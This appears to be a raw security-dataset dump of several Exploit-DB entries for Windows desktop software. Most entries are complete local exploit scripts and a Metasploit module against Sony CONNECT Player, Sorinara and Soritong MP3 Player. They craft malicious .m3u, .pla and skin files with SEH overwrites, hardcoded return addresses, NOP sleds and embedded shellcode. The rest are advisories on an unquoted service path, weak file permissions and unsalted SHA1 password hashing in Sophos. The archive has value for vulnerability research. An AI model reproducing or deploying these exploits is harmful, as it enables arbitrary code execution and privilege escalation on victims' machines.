deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4583
Description: Sony CONNECT Player 4.x - '.m3u' Local Stack Overflow
Type: local
Platform: windows
Date: 2007-10-29
Author: TaMBaRuS

Exploit:
#!/usr/bin/python
#Secunia Advisory : SA27270 
#Release Date : 2007-10-29
# Sony CONNECT Player M3U Playlist Processing Stack Buffer Overflow (m3u File) Local Exploit
# Bug discovered by  Parvez Anwar
# Exploit Written by TaMBaRuS (tambarus@gmail.com)
# Tested on:  Sony CONNECT Player (SonicStage) 4.x installed on Windows XP SP2/ 2k SP4
# Shellcode: Windows Execute Command <metasploit.com>
# Eductional Purposes only  ;) 
##

from struct import pack

m3u = ("#EXTM3U\nhttp://%s")

shellcode = (
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x44\x4e\x33\x4b\x48\x4e\x57"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x58"
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x58"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x38"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x38\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x38\x42\x44\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x48\x4a\x56\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x35\x41\x43"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x35\x4a\x56\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x36")

NEXT_SEH_RECORD = 0x909006EB  # JMP SHORT + 0x06
SE_HANDLER = 0x7CEA53D2       # POP POP RET (SHELL32.DLL/2k SP4)

buf = "PLAY ME"
buf += "\x3e" * 1062
buf += pack("<L", NEXT_SEH_RECORD)
buf += pack("<L", SE_HANDLER)
buf += "\x90" * 90
buf += shellcode

m3u %= buf

fd = open("playme.m3u", "w")
fd.write(m3u)
fd.close()

print "DONE"

# EoF

# milw0rm.com [2007-10-29]
Exploit-DB #50817
Description: Sony playmemories home - 'PMBDeviceInfoProvider' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-03-10
Author: Saud Alenazi

Exploit:
# Exploit Title: Sony playmemories home - 'PMBDeviceInfoProvider' Unquoted Service Path
# Date: 09/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sony.com/
# Software Link: https://support.d-imaging.sony.co.jp/www/disoft/int/download/playmemories-home/win/en/index.html
# Version: 6.0
# Tested: Windows 10 Pro 
# Contact: https://twitter.com/dmaral3noz


C:\Users\saudh>sc qc PMBDeviceInfoProvider

[SC] QueryServiceConfig SUCCESS


SERVICE_NAME: PMBDeviceInfoProvider
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Sony\PlayMemories Home\PMBDeviceInfoProvider.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : PMBDeviceInfoProvider
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem



#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #18201
Description: SopCast 3.4.7 - 'Diagnose.exe' Improper Permissions
Type: local
Platform: windows
Date: 2011-12-05
Author: LiquidWorm

Exploit:
SopCast 3.4.7 (Diagnose.exe) Improper Permissions


Vendor: SopCast.com
Product web page: http://www.sopcast.com
Affected version: 3.4.7.45585

Summary: SopCast is a simple, free way to broadcast video and audio or watch
the video and listen to radio on the Internet. Adopting P2P(Peer-to-Peer)
technology, It is very efficient and easy to use. SoP is the abbreviation for
Streaming over P2P. Sopcast is a Streaming Direct Broadcasting System based
on P2P. The core is the communication protocol produced by Sopcast Team, which
is named sop://, or SoP technology.

Desc: SopCast is vulnerable to an elevation of privileges vulnerability which
can be used by a simple user that can change the executable file with a binary
of choice. The vulnerability exist due to the improper permissions, with the 'F'
flag (full control) for the 'Everyone' group, for the 'Diagnose.exe' binary file
which is bundled with the SopCast installation package.

Tested on: Microsoft Windows XP Professional SP3 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Vendor status:

[30.11.2011] Vulnerability discovered.
[01.12.2011] Contact with the vendor with sent detailed info.
[04.12.2011] No response from the vendor.
[05.12.2011] Public security advisory released.


Advisory ID: ZSL-2011-5062
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5062.php


30.11.2011

--


C:\Program Files\SopCast>cacls Diagnose.exe
C:\Program Files\SopCast\Diagnose.exe Everyone:F <-----
                                      BUILTIN\Users:R
                                      BUILTIN\Power Users:C
                                      BUILTIN\Administrators:F
                                      NT AUTHORITY\SYSTEM:F
                                      LABPC\User101:F

C:\Program Files\SopCast>
Exploit-DB #44411
Description: Sophos Endpoint Protection Control Panel 10.7 - Weak Password Encryption
Type: local
Platform: windows
Date: 2018-04-06
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SOPHOS-ENDPOINT-PROTECTION-CONTROL-PANEL-v10.7-INSECURE-CRYPTO-CVE-2018-9233.txt
[+] ISR: Apparition Security            
 


Vendor:
==========
www.sophos.com



Product:
===========
Sophos Endpoint Protection - Control Panel v10.7

Sophos Endpoint Protection helps secure your workstation by adding prevention, detection, and response technology on top of your operating system.
Sophos Endpoint Protection is designed for workstations running Windows and macOS. It adds exploit technique mitigations, CryptoGuard anti-ransomware,
anti-malware, web security, malicious traffic detection, and deep system cleanup.



Vulnerability Type:
===================
Insecure Crypto



CVE Reference:
==============
CVE-2018-9233



Security Issue:
================
Sophos endpoint protection control panel authentication uses weak unsalted unicoded cryptographic hash (SHA1) function, not using salt allows attackers that gain access to hash 
ability to conduct faster cracking attacks using pre-computed dictionaries, e.g. rainbow tables. This can potentially result in unauthorized access that could allow for
changing of settings, whitelist or unquarantine files.

Password and config for Sophos endpoint protection control panel is stored here:
C:\ProgramData\Sophos\Sophos Anti-Virus\Config\machine.xml

e.g.

SHA1 (Unicode) encoding non salted pass = abc123

<TamperProtectionManagement><settings>
<enabled>true</enabled><password>689307D2FC53AF0FB941BC1BB42737CE4F3EF540</password></settings>
</TamperProtectionManagement>


Using PHP's sha1 function with "mb_convert_encoding" as UTF-16LE we can verify.

C:\>php -r "print sha1(mb_convert_encoding('abc123', 'UTF-16LE', 'UTF-8'));"
689307d2fc53af0fb941bc1bb42737ce4f3ef540



Network Access:
===============
Local



Severity:
=========
Low


Disclosure Timeline:
=============================
Vendor Notification: December 4, 2017
Vendor Acknowledgement: December 12, 2017
Vendor request additional time before disclosing.
additional time has passed.
April 4, 2018  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #8620
Description: Sorinara Streaming Audio Player 0.9 - '.m3u' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-05-05
Author: Stack

Exploit:
#!/usr/bin/perl
# Streaming Audio Player 0.9 (.M3U File) Local Stack Core Exploit
# Credit : http://www.milw0rm.com/exploits/8617 cyber-zone
# By Stack
# Tested On WinSp2 En / FR
use strict;
use warnings;
my $header= "\x23\x45\x58\x54\x4D\x33\x55\x0D\x68\x74\x74\x70\x3A\x2F\x2F";
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $junk = "\x41" x 512;
my $eip  = "\xD7\x98\x95\x7C";
my $nops = "\x90" x 24;
open(my $playlist, "> spl.m3u");
print $playlist
                    $junk.$eip.$nops.$shellcode.
                    "\r\n";
close $playlist;

# milw0rm.com [2009-05-05]
Exploit-DB #8640
Description: Sorinara Streaming Audio Player 0.9 - '.pla' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-05-07
Author: Hakxer

Exploit:
# by : Hakxer -> EgY Coders Team
# Streaming Audio Player 0.9 (.PLA File) Local Stack Overflow Exploit
# hakxer.1@gmail.com
# Greetz : Allah
#                , ExH , ProViDoR , Error Code , Br1ght D@rk , all my friends
##########################################################################
 
$buff="\x41" x 288;
$ret="\x77\xE9\xAE\x59"; # 0x77E9AE59      call esp
$nops="\x90" x 20;
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x30\x42\x30\x42\x50\x4b\x48\x45\x44\x4e\x43\x4b\x48\x4e\x37".
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x31\x4b\x38".
"\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c".
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38".
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x34".
"\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x41\x4b\x58".
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x58\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x37".
"\x4e\x50\x4b\x38\x42\x44\x4e\x50\x4b\x58\x42\x47\x4e\x31\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x58\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x43\x4f\x55\x41\x53".
"\x48\x4f\x42\x36\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x47".
"\x42\x35\x4a\x36\x42\x4f\x4c\x48\x46\x50\x4f\x55\x4a\x56\x4a\x39".
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x36\x43\x56\x42\x50\x5a";
open(MYFILE,'>>exploit.pla');
print MYFILE $buff;
print MYFILE $ret;
print MYFILE $nops;
print MYFILE $shellcode;
close(MYFILE);

# milw0rm.com [2009-05-07]
Exploit-DB #10786
Description: Soritong 1.0 - Universal Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-29
Author: jacky

Exploit:
#Soritong MP3 Player 1.0 Universal BOF !
#Greetz to Peter Van Eeckhoutte and Corelanc0d3r team ;-)
#Discovered by : (Stack )
#Written by : (Jacky )
#I searched for a Python Edition for this Vulnerability but i haven't found any Python written exploit
#So i decided to give it a chance and try to write it with Python and it has successfully Done!!!
#This exploit is for EDUCATIONAL PURPOSES ONLY !!!
crashfile="UI.txt"
print "Soritong MP3 Player v1.0 Universal BOF by Jacky \n"
print "Greetz to Peter Van Eeckhoutte and Corelanc0d3r team\n"
junk="A"*584
nseh="\xeb\x06\x90\x90"         #Short jump over 6 bytes forward.
seh="\x12\xe8\x01\x10"           #PPR from a .dll application file.
sc=("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
"\x7f\xe8\x7b\xca")           #Here is the Pain!!!
junk2="\x90"*1000               #Additional nops!
file=open(crashfile,'w')
file.write(junk+nseh+seh+sc+junk2)
print "[+]File has been created successfully!\n"
print "[+]Written By Jacky\n"
file.close()
Exploit-DB #11093
Description: Soritong 1.0 - Universal Buffer Overflow (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2010-01-10
Author: fb1h2s

Exploit:
# Exploit Title: [Soritong v1.0 Universal BOF-SEH (META)]
# Version: [V1.0]
# Tested on: [windows xp 2]


##
#Metasploit version by FB1h2s,Orginal exploit by skull_haxor 
#And greetz to corelanc0d3r team for all there cool tutorials, #espesialy the Unicode one :)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of #use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::FILEFORMAT
   include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Soritong v1.0 Universal BOF-SEH (META)',
            'Description' => %q{
                This module exploits a stack overflow in Soritong v1.0 
            By creating a specially crafted skin ui file making it possible to execute arbitrary code.
            Just replace the skin file with the new one.
            },
            'License' => MSF_LICENSE,
            'Author' => 'FB1H2S',
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', '' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/8624' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Payload' =>
                {
                    'Space' => 1000,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                    'DisableNops' => 'True',
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP Universal', { 'Ret' => 0x1001E812} ], # pop pop ret - playlist.dll
 
                ],
            'Privileged' => false,
            'DefaultTarget' => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'ui.txt']),
            ], self.class)
    end
 
 
    def exploit
 
        sploit = "A"*584
        sploit << "\xeb\x06\x90\x90"            # short jump 6 bytes
        sploit << [target.ret].pack('V')      #universal
        sploit << "\x90" * 20                # nop sled
        sploit << payload.encoded
        sploit << "\x90" * 1000              #nd another few
 
        playlist = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(playlist)
 
    end
 
end
Exploit-DB #9216
Description: Soritong MP3 Player 1.0 - 'SKIN' Local Stack Overflow (SEH)
Type: local
Platform: windows
Date: 2009-07-20
Author: SkuLL-HackeR

Exploit:
         ######################################################
     #-------------------- ~~> SkuLL-HacKeR <~~  -----------------#                                     
          ####################################################

#!/usr/bin/perl
#[+] Bug : Soritong MP3 Player 1.0 (SKIN) Local Stack Overflow Exploit (SEH)
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".
"\x4e\x36\x43\x46\x42\x50\x5a";
my $junk  = "\x41" x 584;
my $nseh   = "\xEB\x06\x90\x90";
my $seh   = "\xE8\x8D\x01\x10"; # universall adress
my $junk2   = "\x90" x 1000;
open(myfile,'>>UI.TXT');
print myfile $junk.$nseh.$seh.$shellcode.$junk2;
 
print $payload;
 
##############################################

# Author : SkuLL-HacKeR
# Home : WwW.Sec-ArT.CoM/cc
# GreetZ : ~~>  etc .............

**
***
***
***
******
*****
****
***
**
*
 
 
                l 
                l
               V

#   By SkuLL-HACkeR
 
               ^
                l
                l



##############################################

# milw0rm.com [2009-07-20]
Exploit-DB #8624
Description: Soritong MP3 Player 1.0 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-05-07
Author: Stack

Exploit:
#!/usr/bin/perl
# Soritong MP3 Player 1.0 Seh Overwrite Exploit
# http://www.sorinara.com/soritong/soritong10.exe
use strict;
use warnings;
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $junk = "\x41" x 260;
my $next_seh="\xeb\x06\x90\x90";
my $seh  = "\x44\x25\xD1\x72"; #
my $nops = "\x90" x 50;
my $nopsled = "\x90" x 20;
open(my $playlist, "> seh_exploit.m3u");
print $playlist
                    $junk.$next_seh.$seh.$nops.$shellcode.$nopsled.
                    "\r\n";
close $playlist;

# milw0rm.com [2009-05-07]